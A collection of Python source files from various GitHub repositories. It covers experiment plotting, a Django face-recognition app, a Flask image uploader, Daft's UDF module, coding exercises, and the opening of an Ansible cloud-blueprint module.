'Optogenetic light onset relative to target onset (ms)'\n \n \n elif param=='soa':\n \n xticklabels = [int(np.round((tick/framerate)*1000)) for tick in xticklabels]\n xlab = 'Mask Onset From Target Onset (ms)'\n lbl = ['mask\\nonly', 'target only']\n del xticklabels[-1]\n xticklabels.append(lbl[1])\n \n if title=='Response Rate': # show mask-only resps \n xticks = np.insert(xticks, 0, 1)\n xticklabels = np.insert(xticklabels, 0, lbl[0])\n ax.plot(1, maskOnly[0]/maskOnlyTotal, 'ro')\n ax.plot(1, maskOnly[1]/maskOnlyTotal, 'bo')\n fig.text(1,1.05,str(maskOnlyTotal),transform=ax.transData,color='k',fontsize=10,ha='center',va='bottom')\n \n ax.xaxis.set_label_coords(0.5,-0.08)\n\n \n if title=='Response Rate': #no go\n if 0 in trialRewardDir:\n ax.plot(0, nogoCorrect/nogoTotal, 'ko', ms=8)\n ax.plot(0, nogoR/nogoMove, 'r>', ms=8) #plot the side that was turned in no-go with an arrow in that direction\n ax.plot(0, nogoL/nogoMove, 'b<', ms=8)\n xticks = np.concatenate(([0],xticks))\n xticklabels = ['no go'] + xticklabels\n \n if showTrialN==True:\n for (x, Ltrials, Rtrials) in zip(paramVals, denom[0], denom[1]): #denom[0]==L turning, denom[1]==R\n for y,n,clr in zip([1.1,1.15],[Rtrials, Ltrials],['r', 'b']):\n fig.text(x,y,str(n),transform=ax.transData,color=clr,fontsize=10,ha='center',va='bottom')\n \n\n formatFigure(fig, ax, xLabel=xlab, yLabel=title)\n fig.suptitle(('(' + mouse + ' ' + date + ')'), fontsize=13)\n ax.set_xticks(xticks)\n ax.set_xticklabels(xticklabels)\n \n if param=='targetLength':\n ax.set_xlim([-5, paramVals[-1]+paramVals[0]])\n elif param=='targetContrast':\n ax.set_xlim([0, 1.05])\n elif param=='soa':\n ax.set_xlim([0, max(paramVals)+1])\n elif param=='opto':\n ax.set_xlim([paramVals[0]-1, max(paramVals)+1])\n else:\n ax.set_xlim([-.5, max(paramVals)+1])\n \n \n ax.set_ylim([0,1.05])\n ax.spines['right'].set_visible(False)\n ax.spines['top'].set_visible(False)\n ax.tick_params(direction='out',top=False,right=False)\n plt.subplots_adjust(top=0.84, bottom=0.105, left=0.095, right=0.92, hspace=0.2, wspace=0.2)\n plt.legend(loc='best', fontsize='small', numpoints=1) \n \n","repo_name":"samgale/Masking","sub_path":"ChelseaStrawder/plotting_variable_params.py","file_name":"plotting_variable_params.py","file_ext":"py","file_size_in_byte":14032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5516394852","text":"from django.shortcuts import render, redirect\nfrom .forms import CustomerImageForm, CreateUserForm, ImageFromTextForm, ImageForm, UploadedImageForm\nfrom .models import *\n\n# Create your views here.\n\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import messages\n\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import Group\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .decorators import unauthenticated_user, allowed_user, admin_only\n\nfrom django.core.files.storage import FileSystemStorage\n\nfrom accounts.EigenFaces.recognize import predict_user\nimport cv2\nimport numpy as np\nimport base64\n\nfrom accounts.EigenFaces.train import train_and_save\n#picture_admins\n\n@login_required(login_url='login')\ndef display_all_images(request):\n\n image = CustomerImage.objects.all()\n\n return render(request, 'accounts/customer_images.html',\n {'image_list' : image})\n\n\n@login_required(login_url='login')\n@admin_only\ndef home(request):\n context = {}\n if request.method == \"POST\" and request.FILES['upload']:\n upload = request.FILES['upload']\n user_id = request.POST.get('user_id')\n fss = FileSystemStorage()\n file = fss.save(f'Images/u{user_id}/{upload.name}', upload)\n file_url = fss.url(file)\n return render(request, 'accounts/dashboard.html', {'file_url': file_url})\n return render(request,'accounts/dashboard.html')\n\n\n@unauthenticated_user\ndef register(request):\n\n form = CreateUserForm()\n\n if request.method == \"POST\":\n form = CreateUserForm(request.POST)\n if form.is_valid():\n user = form.save()\n username = form.cleaned_data.get('username')\n\n group = Group.objects.get(name=\"users\")\n user.groups.add(group)\n\n messages.success(request, 'Account was created for '+ username)\n\n\n\n return redirect('login')\n\n context = {'form': form}\n return render(request, 'accounts/register.html', context)\n\n@unauthenticated_user\ndef loginPage(request):\n if request.method == \"POST\":\n username = request.POST.get('username')\n password = request.POST.get('password')\n user =authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.info(request, \"Username or Password is incorrect\")\n\n context = {}\n return render(request, 'accounts/login.html', context)\n\n\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n\ndef userPage(request):\n groups_shown = request.user.groups.all()[0]\n user_id_check = request.user.id\n\n if request.method == \"POST\":\n form = ImageForm(request.POST, request.FILES)\n if form.is_valid():\n src = form.cleaned_data.get(\"image\")\n upload = request.FILES['upload']\n img = data_uri_to_cv2_img(src)\n #test_img = data_uri_to_cv2_img(upload)\n #check = predict_user(user_id_check, test_img)\n prediction = predict_user(2, img)\n print(prediction)\n context = {'groups_shown': groups_shown,'check_if_true': prediction,'id': user_id_check,'upload': upload}\n return render(request, 'accounts/user.html', context )\n else:\n form = ImageForm()\n\n context = {'groups_shown': groups_shown, 'id': user_id_check, 'form': form}\n return render(request, 'accounts/user.html', context)\n\n\n@login_required(login_url='login')\ndef sendImage(request):\n print(request.method)\n if request.method == 'POST':\n form = ImageFromTextForm(request.POST, request.FILES)\n if form.is_valid():\n src = form.cleaned_data.get(\"src\")\n user_id = form.cleaned_data.get(\"user_id\")\n img = data_uri_to_cv2_img(src)\n # prediction = predict_user(user_id, img)\n # if [i for i in prediction if i[1] < 100000]:\n # login_user_as(user_id)\n else:\n form = ImageFromTextForm()\n return render(request, 'accounts/take_picture.html', {'form': form})\n\n\ndef data_uri_to_cv2_img(uri):\n encoded_data = uri.split(',')[1]\n nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n return img\n\n\ndef userList(request):\n if request.method == \"GET\":\n return render(request, 'accounts/userList.html')\n\n\ndef trainData(request):\n if request.method == \"POST\":\n user_id = request.POST.get('user_id')\n train_and_save(user_id)\n context = {}\n return render(request, 'accounts/train_data.html',context)\n return render(request, 'accounts/train_data.html')\n","repo_name":"kstasiak98/OPEN_BIOM_APP","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33028036352","text":"import sys\n\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\narr = list(map(int, input().split()))\narr.sort(reverse=True)\nleft = 0\nright = 2000000001\nres = 0\nwhile left <= right:\n mid = (left + right) // 2\n sum = 0\n for meter in arr:\n if mid >= meter:\n break\n else:\n sum += meter - mid\n if sum >= m:\n left = mid + 1\n res = mid\n else:\n right = mid - 1\n\nprint(res)\n","repo_name":"slbin-park/Algorithm","sub_path":"나무자르기.py","file_name":"나무자르기.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"37664237986","text":"import csv \nfrom openpyxl.workbook import Workbook\nimport os\n\ngrades = {}\nnames_roll = {}\nsubjects_master = {}\nfile_names_roll = open(\"names-roll.csv\", 'r')\nfile_subject_master = open(\"subjects_master.csv\", 'r')\n\ncsvreader01 = csv.DictReader(file_names_roll)\nfor row in csvreader01:\n names_roll[row['Roll']] = row['Name']\ncsvreader02 = csv.DictReader(file_subject_master)\nfor row in csvreader02:\n subjects_master[row['subno']] = [row['subname'],row['ltp'],row['crd']]\n file_grades = open(\"grades.csv\", 'r')\ncsvreader03 = csv.DictReader(file_grades)\nfor row in csvreader03:\n if not row['Roll'] in grades.keys():\n grades[row['Roll']] = {}\n if row['Sem'] not in grades[row['Roll']].keys():\n grades[row['Roll']][row['Sem']] = [[ row['SubCode'],subjects_master[row['SubCode']][0],subjects_master[row['SubCode']][1],subjects_master[row['SubCode']][2],row['Sub_Type'],row['Grade']]]\n else:\n grades[row['Roll']][row['Sem']].append([ row['SubCode'],subjects_master[row['SubCode']][0],subjects_master[row['SubCode']][1],subjects_master[row['SubCode']][2],row['Sub_Type'],row['Grade']])\n else:\n if row['Sem'] not in grades[row['Roll']].keys():\n grades[row['Roll']][row['Sem']] = [[ row['SubCode'],subjects_master[row['SubCode']][0],subjects_master[row['SubCode']][1],subjects_master[row['SubCode']][2],row['Sub_Type'],row['Grade']]]\n else:\n grades[row['Roll']][row['Sem']].append([ row['SubCode'],subjects_master[row['SubCode']][0],subjects_master[row['SubCode']][1],subjects_master[row['SubCode']][2],row['Sub_Type'],row['Grade']])\n\ngrades = {'BB': 8, 'BC': 7, 'AB' : 9, 'CC' : 6, 'AA' : 10, 'CD' : 5, 'DD' : 4, 'F' : 0, 'F*' : 0, 'DD*' : 4}\nfor roll in grades.keys():\n overall_sem = []\n overall_sem.append(['Roll No.', roll])\n overall_sem.append(['Name of the Student',names_roll[roll]])\n overall_sem.append(['Discipline',roll[4:6]])\n sem = ['Semester No.']\n cred = ['Semester wise Credit Taken']\n spi = ['SPI']\n t_cred = ['Total Credits Taken']\n cpi = ['CPI']\n filepath = 'output/' + roll + '.xlsx'\n directory = os.path.dirname(filepath)\n if not os.path.exists(directory):\n os.makedirs(directory)\n wb = Workbook()\n for sem in grades[roll].keys():\n sem.append(sem)\n sl_num = 1 \n credt = 0\n sp_i = 0 \n ws = wb.create_sheet()\n ws.title = 'Sem' + sem\n ws.append(['Sl No.','Subject Name','L-T-P','Credit','Subject Type','Grade']) \n for data in grades[roll][sem]:\n sp_i += int(data[3]) * grades[data[5]]\n credt += int(data[3]) \n data.insert(0,sl_num)\n ws.append(data)\n sl_num += 1 \n cred.append(credt)\n spi.append(round(sp_i/credt,2))\n if type(t_cred[-1]) == str:\n t_cred.append(credt)\n else:\n a = credt\n a += t_cred[-1] + credt\n t_cred.append(a) \n\n overall_sem.append(sem)\n overall_sem.append(cred)\n overall_sem.append(spi)\n overall_sem.append(t_cred)\n ws = wb['Sheet']\n for row in overall_sem:\n ws.append(row)\n wb.save(filename=filepath)\n\n\n","repo_name":"prabhas-15326/1901EE17_2021","sub_path":"tut05/tut05.py","file_name":"tut05.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28236221076","text":"from base64 import b64encode\nimport base64\nfrom io import BytesIO #convert data from Database into bytes\n\n\nfrom app.db import db\nfrom datetime import datetime\nfrom flask import Blueprint,request, render_template, flash,redirect, url_for,jsonify\nfrom app.models.image_file import ImageModel\nfrom werkzeug.utils import secure_filename\n\nfrom app.models.serializer import images_schema\n\nimg_bp=Blueprint('image',__name__, static_folder='static',template_folder='templates',)\n\n\ndef render_picture(data):\n \"\"\" takes the bytes raw version of the pic and return \n decodede version , so that it can be used to display on the web\n \"\"\"\n render_pic =base64.b64encode(data).decode('ascii')\n return render_pic\ndef read_image(data):\n read=base64.b64decode(data)\n\n with open('image.png','w') as i:\n i.write(read)\n return i \n\n\n\n@img_bp.route(\"/index\", methods=['GET', 'POST'])\n@img_bp.route('/')\ndef index():\n '# Index It routes to index.html where the upload forms is '\n flash(u'Well come !',category='error')\n\n _images=ImageModel.query.all()\n # image=_images[0]\n # img=read_image(image.rendered_data)\n arquivo=url_for('static',filename='arquivo.txt')\n with open(arquivo, 'r+') as file:\n print(file.read())\n from time import sleep\n sleep(2)\n\n return render_template('index.html', images=_images, base64=base64)\n@img_bp.route('/render')\ndef render():\n return render_template('upload.html')\n\n@img_bp.route('/upload', methods=['POST','GET'] )\ndef upload():\n 'route of uploader...'\n file =request.files['inputFile']\n data = file.read()\n # print(data)\n # flash(f'File name :{file.filename}')\n # return redirect(request.url)\n\n render_file =render_picture(data)\n text = request.form['text']\n\n location =request.form['location']\n \n\n new_file=ImageModel(name=secure_filename(file.filename), data=data,rendered_data=render_file, text=text, location=location)\n db.session.add(new_file)\n db.session.commit()\n\n flash(f'Pic {new_file.name} Uploaded Text: {new_file.text} LOcation:{new_file.location}')\n return render_template('index.html')\n\n@img_bp.route('/get_image_api',methods=['GET', ])\ndef get_images_api():\n images =ImageModel.query.all()\n return jsonify(images_schema.dump(images))\n\n@img_bp.route('/test')\ndef test():\n return jsonify({'nome':'saidino'});\n\n\ndef configure_img_bp(app):\n app.register_blueprint(img_bp, url_prefix='/image')\n print('Image blue_print configured sucessfully')\n","repo_name":"saidino84/flask_api_tim_restfull","sub_path":"app/controllers/image_saver/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"30787729034","text":"from __future__ import annotations\n\nimport dataclasses\nimport functools\nimport inspect\nimport types\nfrom typing import Callable\n\nfrom daft.datatype import DataType\nfrom daft.expressions import Expression\nfrom daft.series import PySeries, Series\n\n_NUMPY_AVAILABLE = True\ntry:\n import numpy as np\nexcept ImportError:\n _NUMPY_AVAILABLE = False\n\nUserProvidedPythonFunction = Callable[..., Series]\n\n\n@dataclasses.dataclass(frozen=True)\nclass PartialUDF:\n udf: UDF\n\n # Arguments that UDF was called with, potentially symbolic (i.e. containing Expressions)\n bound_args: inspect.BoundArguments\n\n def expressions(self) -> dict[str, Expression]:\n return {key: val for key, val in self.bound_args.arguments.items() if isinstance(val, Expression)}\n\n def __call__(self, evaluated_expressions: list[Series]) -> PySeries:\n kwarg_keys = list(self.bound_args.kwargs.keys())\n arg_keys = [k for k in self.bound_args.arguments.keys() if k not in self.bound_args.kwargs.keys()]\n pyvalues = {key: val for key, val in self.bound_args.arguments.items() if not isinstance(val, Expression)}\n expressions = self.expressions()\n assert len(evaluated_expressions) == len(\n expressions\n ), \"Computed series must map 1:1 to the expressions that were evaluated\"\n function_parameter_name_to_index = {name: i for i, name in enumerate(expressions)}\n\n args = []\n for name in arg_keys:\n # special-case to skip `self` since that would be a redundant argument in a method call to a class-UDF\n if name == \"self\":\n continue\n\n assert name in pyvalues or name in function_parameter_name_to_index\n if name in pyvalues:\n args.append(pyvalues[name])\n else:\n args.append(evaluated_expressions[function_parameter_name_to_index[name]])\n\n kwargs = {}\n for name in kwarg_keys:\n assert name in pyvalues or name in function_parameter_name_to_index\n if name in pyvalues:\n kwargs[name] = pyvalues[name]\n else:\n kwargs[name] = evaluated_expressions[function_parameter_name_to_index[name]]\n\n # NOTE: We currently initialize the function once for every invocation of the PartialUDF.\n # This is not ideal and we should cache initializations across calls for the same process.\n func = self.udf.get_initialized_func()\n\n result = func(*args, **kwargs)\n\n # HACK: Series have names and the logic for naming fields/series in a UDF is to take the first\n # Expression's name. Note that this logic is tied to the `to_field` implementation of the Rust PythonUDF\n # and is quite error prone! If our Series naming logic here is wrong, things will break when the UDF is run on a table.\n name = evaluated_expressions[0].name()\n\n # Post-processing of results into a Series of the appropriate dtype\n if isinstance(result, Series):\n return result.rename(name).cast(self.udf.return_dtype)._series\n elif isinstance(result, list):\n if self.udf.return_dtype == DataType.python():\n return Series.from_pylist(result, name=name, pyobj=\"force\")._series\n else:\n return Series.from_pylist(result, name=name, pyobj=\"allow\").cast(self.udf.return_dtype)._series\n elif _NUMPY_AVAILABLE and isinstance(result, np.ndarray):\n return Series.from_numpy(result, name=name).cast(self.udf.return_dtype)._series\n else:\n raise NotImplementedError(f\"Return type not supported for UDF: {type(result)}\")\n\n def __hash__(self) -> int:\n # Make the bound arguments hashable in the basic case when every argument is itself hashable.\n # NOTE: This will fail if any of the arguments are not hashable (e.g. dicts, Python classes that\n # don't implement __hash__). In that case, Daft's Rust-side hasher will fall back to hashing the\n # pickled UDF. See daft-dsl/src/python/partial_udf.rs\n args = frozenset(self.bound_args.arguments.items())\n return hash((self.udf, args))\n\n\n@dataclasses.dataclass\nclass UDF:\n func: UserProvidedPythonFunction\n return_dtype: DataType\n\n def __post_init__(self):\n \"\"\"Analagous to the @functools.wraps(self.func) pattern\n\n This will swap out identifiers on `self` to match `self.func`. Most notably, this swaps out\n self.__module__ and self.__qualname__, which is used in `__reduce__` during serialization.\n \"\"\"\n functools.update_wrapper(self, self.func)\n\n def __call__(self, *args, **kwargs) -> Expression:\n bound_args = self.bind_func(*args, **kwargs)\n partial_udf = PartialUDF(self, bound_args)\n expressions = list(partial_udf.expressions().values())\n return Expression.udf(\n func=partial_udf,\n expressions=expressions,\n return_dtype=self.return_dtype,\n )\n\n def bind_func(self, *args, **kwargs):\n if isinstance(self.func, types.FunctionType):\n sig = inspect.signature(self.func)\n bound_args = sig.bind(*args, **kwargs)\n elif isinstance(self.func, type):\n sig = inspect.signature(self.func.__call__)\n bound_args = sig.bind(\n # Placeholder for `self`\n None,\n *args,\n **kwargs,\n )\n else:\n raise NotImplementedError(f\"UDF type not supported: {type(self.func)}\")\n bound_args.apply_defaults()\n return bound_args\n\n def get_initialized_func(self):\n if isinstance(self.func, types.FunctionType):\n return self.func\n elif isinstance(self.func, type):\n # NOTE: This potentially runs expensive initializations on the class\n return self.func()\n raise NotImplementedError(f\"UDF type not supported: {type(self.func)}\")\n\n def __hash__(self) -> int:\n return hash((self.func, self.return_dtype))\n\n\ndef udf(\n *,\n return_dtype: DataType,\n) -> Callable[[UserProvidedPythonFunction], UDF]:\n \"\"\"Decorator to convert a Python function into a UDF\n\n UDFs allow users to run arbitrary Python code on the outputs of Expressions.\n\n .. NOTE::\n In most cases, UDFs will be slower than a native kernel/expression because of the required Rust and Python overheads. If\n your computation can be expressed using Daft expressions, you should do so instead of writing a UDF. If your UDF expresses a\n common use-case that isn't already covered by Daft, you should file a ticket or contribute this functionality back to Daft\n as a kernel!\n\n In the example below, we create a UDF that:\n\n 1. Receives data under the argument name ``x``\n 2. Converts the ``x`` Daft Series into a Python list using :meth:`x.to_pylist() <daft.Series.to_pylist>`\n 3. Adds a Python constant value ``c`` to every element in ``x``\n 4. Returns a new list of Python values which will be coerced to the specified return type: ``return_dtype=DataType.int64()``.\n 5. We can call our UDF on a dataframe using any of the dataframe projection operations (:meth:`df.with_column() <daft.DataFrame.with_column>`,\n :meth:`df.select() <daft.DataFrame.select>`, etc.)\n\n Example:\n >>> @udf(return_dtype=DataType.int64())\n >>> def add_constant(x: Series, c=10):\n >>> return [v + c for v in x.to_pylist()]\n >>>\n >>> df = df.with_column(\"new_x\", add_constant(df[\"x\"], c=20))\n\n Args:\n return_dtype (DataType): Returned type of the UDF\n\n Returns:\n Callable[[UserProvidedPythonFunction], UDF]: UDF decorator - converts a user-provided Python function as a UDF that can be called on Expressions\n \"\"\"\n\n def _udf(f: UserProvidedPythonFunction) -> UDF:\n return UDF(\n func=f,\n return_dtype=return_dtype,\n )\n\n return _udf\n","repo_name":"Eventual-Inc/Daft","sub_path":"daft/udf.py","file_name":"udf.py","file_ext":"py","file_size_in_byte":7967,"program_lang":"python","lang":"en","doc_type":"code","stars":926,"dataset":"github-code","pt":"47"} +{"seq_id":"29015952466","text":"from django.urls import path\nfrom validetorapp import views\n\n# here we map all the url links\nurlpatterns = [\n path('', views.index,name='index'),\n path('registration', views.registration, name='registration'),\n path('login', views.login,name='login'),\n path('user_status', views.user_status,name='user_status'),\n path('status', views.status,name='status'),\n path('email_check', views.email_check,name='email_check'),\n]\n","repo_name":"Nitesh639/validation","sub_path":"validetorapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74341594382","text":"#file_name = \"ex.txt\"\nfile_name = \"input.txt\"\n\ndef cycle(p, rules):\n new_p = p[0]\n for i in range(len(p)-1):\n e = p[i:i+2]\n new_p += rules[e]\n new_p += p[i+1]\n return new_p\n\ndef build_count_dict(p):\n d = dict()\n for c in p:\n if c in d:\n d[c] += 1\n else:\n d[c] = 1\n return d\n\nrules = dict()\n\nwith open(file_name) as file:\n pol = file.readline().strip()\n file.readline()\n\n r = file.readline().strip().split(\" -> \")\n while len(r) > 1:\n rules[r[0]] = r[1]\n r = file.readline().strip().split(\" -> \")\n\nfor i in range(10):\n pol = cycle(pol, rules)\n\ncount_d = build_count_dict(pol)\n\nlow_c = high_c = count_d[pol[0]]\n\nfor k in count_d:\n if count_d[k] < low_c:\n low_c = count_d[k]\n if count_d[k] > high_c:\n high_c = count_d[k]\n\nprint(high_c - low_c)","repo_name":"FernandoBuenoLima/advent-of-code-2021","sub_path":"day14/part1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6928179540","text":"\nqnt = int(input())\nfor c in range(qnt):\n parentese,colchetes,chaves = 0,0,0\n ponto_abertura = []\n ponto_fechamento = []\n exp = input()\n for c in range(len(exp)):\n\n if (exp[c] in '(' and exp[c+1] in '('):\n parentese += 1\n ponto_abertura.append(c+1) \n\n if (exp[c] in '[' and exp[c+1] in '['):\n colchetes += 1\n ponto_abertura.append(c+1)\n\n if (exp[c] in '{' and exp[c+1] in '{'):\n chaves += 1\n ponto_abertura.append(c+1)\n \n\n if c+1 < len(exp):\n if (exp[c] in ')' and exp[c+1] in ')'):\n parentese += 1\n ponto_fechamento.append(c+1)\n\n if (exp[c] in ']' and exp[c+1] in ']'):\n colchetes += 1\n ponto_fechamento.append(c+1)\n\n if (exp[c] in '}' and exp[c+1] in '}'):\n chaves += 1\n ponto_fechamento.append(c+1)\n\n\n if chaves >= 2 or colchetes >= 2 or parentese >= 2:\n \n print('A expressão possui duplicata.')\n else:\n print('A expressão não possui duplicata.')\n\n\"\"\"qnt = int(input())\nfor c in range(qnt):\n exp = input()\n operacoes = []\n for c in range(len(exp)):\n if exp[c] in '()[]{}*/-+':\n operacoes.append(exp[c])\n for c in range(len(operacoes)):\n if operacoes[c] \n\"\"\"","repo_name":"Peedrooo/Learning_Python","sub_path":"Estrutura_de_Dados/Questionario3/remocaoDuplicata.py","file_name":"remocaoDuplicata.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14479733236","text":"# O(N)\nclass Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n h = {}\n ret = 0\n st = 0\n for idx, val in enumerate(s):\n if val in h:\n st = max(st, h[val] + 1)\n h[val] = idx\n ret = max(ret, idx-st+1)\n return ret\n\n# O(N)\n\n\nclass Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n # h = {}\n lis = [0 for _ in range(130)]\n ret = 0\n st = 0\n for idx, val in enumerate(s):\n i = ord(val)\n if lis[i] and lis[i] >= st:\n st = lis[i]\n else:\n ret = max(ret, idx - st + 1)\n lis[i] = idx + 1\n\n return ret\n","repo_name":"gptjddldi/Algorithm","sub_path":"Algorithm/22.06/06.11/lengthOfLongestSubstring.py","file_name":"lengthOfLongestSubstring.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"12072877259","text":"## More Conditional Tests: You don’t have to limit the number of tests you \n# create to ten. \n\n# If you want to try more comparisons, \n# write more tests and add them to conditional_tests.py. \n# Have at least one True and one False result for each of the following:\n\n# * Tests for equality and inequality with strings\n\npolish_cities = ['warsaw', 'krakov', 'lublin']\nfav_city = 'munich'\n\nif fav_city not in polish_cities:\n print(f\"{fav_city.title()} is not a polish city.\")\nif fav_city in polish_cities:\n print(f\"{fav_city.title()} is a polish city.\")\n\n# acttually I think I did most of tests in this and previous file\n","repo_name":"Kacper-Biegajlo/Python-crash-course","sub_path":"Cwiczenia#5/5-2 More conditional tests.py","file_name":"5-2 More conditional tests.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72409752782","text":"#!/usr/bin/env python2.7\nimport argparse\nimport subprocess\nimport glob\nimport os\nimport time\n\nif __name__=='__main__':\n \n parser=argparse.ArgumentParser(description='Executes a command multiple times, by entering in to the directory')\n parser.add_argument('Folders',help='The folder where the commands will be executed')\n parser.add_argument('-c','--command',help='The command you want to execute')\n parser.add_argument('-i','--condition', nargs=2, metavar='Cond',help='File_to_read line_to_find If it finds a line in the file, it will be executed')\n parser.add_argument('-p','--processes',help='Number of parallel processes to be executed', default=1,type=int)\n #parser.add_argument('Folders',help='The folder where the commands will be executed',nargs='*')\n args=parser.parse_args()\n \n #Remember original directory\n initial_dir=os.getcwd()\n Pool=[]\n for folder in glob.glob(args.Folders):\n #Enter the directory\n os.chdir(folder)\n try: \n #Test condition\n Execute=False \n with open(max(glob.iglob(args.condition[0]), key=os.path.getctime)) as handle:\n for line in handle:\n if args.condition[1] in line:\n Execute=True\n except ValueError:\n Execute=False\n except TypeError:\n Execute=True\n\n #Execute the command\n if Execute and args.processes==1: \n subprocess.call(args.command, shell=True)\n elif Execute and args.processes>1:\n if len(Pool)<args.processes:\n Pool+=[subprocess.Popen(args.command, shell=True)]\n else:\n while True:\n polls=[p.poll() for p in Pool]\n np=len([p for p in polls if p is None])\n #print len(polls),np\n if np<args.processes:\n Pool+=[subprocess.Popen(args.command, shell=True)]\n break\n time.sleep(1E-2)\n\n \n #Back to the original directory\n os.chdir(initial_dir)\n","repo_name":"cabb99/Tools","sub_path":"Multi_execute.py","file_name":"Multi_execute.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25109558677","text":"ANSIBLE_METADATA = {'status': ['preview'],\n 'supported_by': 'community',\n 'version': '1.0'}\n\nDOCUMENTATION = '''\nmodule: clc_blueprint_package\nshort_description: deploys a blue print package on a set of servers in CenturyLink Cloud.\ndescription:\n - An Ansible module to deploy blue print package on a set of servers in CenturyLink Cloud.\nversion_added: \"2.0\"\noptions:\n server_ids:\n description:\n - A list of server Ids to deploy the blue print package.\n required: True\n package_id:\n description:\n - The package id of the blue print.\n required: True\n package_params:\n description:\n - The dictionary of arguments required to deploy the blue print.\n default: {}\n required: False\n state:\n description:\n - Whether to install or un-install the package. Currently it supports only \"present\" for install action.\n required: False\n default: present\n choices: ['present']\n wait:\n description:\n - Whether to wait for the tasks to finish before returning.\n choices: [ True, False ]\n default: True\n required: False\nrequirements:\n - python = 2.7\n - requests >= 2.5.0\n - clc-sdk\nauthor: \"CLC Runner (@clc-runner)\"\nnotes:\n - To use this module, it is required to set the below environment variables which enables access to the\n Centurylink Cloud\n - CLC_V2_API_USERNAME, the account login id for the centurylink cloud\n - CLC_V2_API_PASSWORD, the account password for the centurylink cloud\n - Alternatively, the module accepts the API token and account alias. The API token can be generated using the\n CLC account login and password via the HTTP api call @ https://api.ctl.io/v2/authentication/login\n - CLC_V2_API_TOKEN, the API token generated from https://api.ctl.io/v2/authentication/login\n - CLC_ACCT_ALIAS, the account alias associated with the centurylink cloud\n - Users can set CLC_V2_API_URL to specify an endpoint for pointing to a different CLC environment.\n'''\n\nEXAMPLES = '''\n# Note - You must set the CLC_V2_API_USERNAME And CLC_V2_API_PASSWD Environment variables before running these examples\n\n- name: Deploy package\n clc_blueprint_package:\n server_ids:\n - UC1TEST-SERVER1\n - UC1TEST-SERVER2\n package_id: 77abb844-579d-478d-3955-c69ab4a7ba1a\n package_params: {}\n'''\n\nRETURN = '''\nserver_ids:\n description: The list of server ids that are changed\n returned: success\n type: list\n sample:\n [\n \"UC1TEST-SERVER1\",\n \"UC1TEST-SERVER2\"\n ]\n'''\n\n__version__ = '${version}'\n\nfrom distutils.version import LooseVersion\n\ntry:\n import requests\nexcept ImportError:\n REQUESTS_FOUND = False\nelse:\n REQUESTS_FOUND = True\n\n#\n# Requires the clc-python-sdk.\n# sudo pip install clc-sdk\n#\ntry:\n import clc as clc_sdk\n from clc import CLCException\nexcept ImportError:\n CLC_FOUND = False\n clc_sdk = None\nelse:\n CLC_FOUND = True\n\n\nclass ClcBlueprintPackage:\n\n clc = clc_sdk\n module = None\n\n def __init__(self, module):\n \"\"\"\n Construct module\n \"\"\"\n self.module = module\n if not CLC_FOUND:\n self.module.fail_json(\n msg='clc-python-sdk required for this module')\n if not REQUESTS_FOUND:\n self.module.fail_json(\n msg='requests library is required for this module')\n if requests.__version__ and LooseVersion(\n requests.__version__) < LooseVersion('2.5.0'):\n self.module.fail_json(\n msg='requests library version should be >= 2.5.0')\n\n self._set_user_agent(self.clc)\n\n def process_request(self):\n \"\"\"\n Process the request - Main Code Path\n :return: Returns with either an exit_json or fail_json\n \"\"\"\n p = self.module.params\n changed = False\n changed_server_ids = []\n self._set_clc_credentials_from_env()\n server_ids = p['server_ids']\n package_id = p['package_id']\n package_params = p['package_params']\n state = p['state']\n if state == 'present':\n changed, changed_server_ids, request_list = self.ensure_package_installed(\n server_ids, package_id, package_params)\n self._wait_for_requests_to_complete(request_list)\n self.module.exit_json(changed=changed, server_ids=changed_server_ids)\n\n @staticmethod\n def define_argument_spec():\n \"\"\"\n This function defines the dictionary object required for\n package module\n :return: the package dictionary object\n \"\"\"\n argument_spec = dict(\n server_ids=dict(type='list', required=True),\n package_id=dict(required=True),\n package_params=dict(type='dict', default={}),\n wait=dict(default=True),\n state=dict(default='present', choices=['present'])\n )\n return argument_spec\n\n def ensure_package_installed(self, server_ids, package_id, package_params):\n \"\"\"\n Ensure the package is installed in the given list of servers\n :param server_ids: the server list where the package needs to be installed\n :param package_id: the blueprint package id\n :param package_params: the package arguments\n :return: (changed, server_ids, request_list)\n changed: A flag indicating if a change was made\n server_ids: The list of servers modified\n request_list: The list of request objects 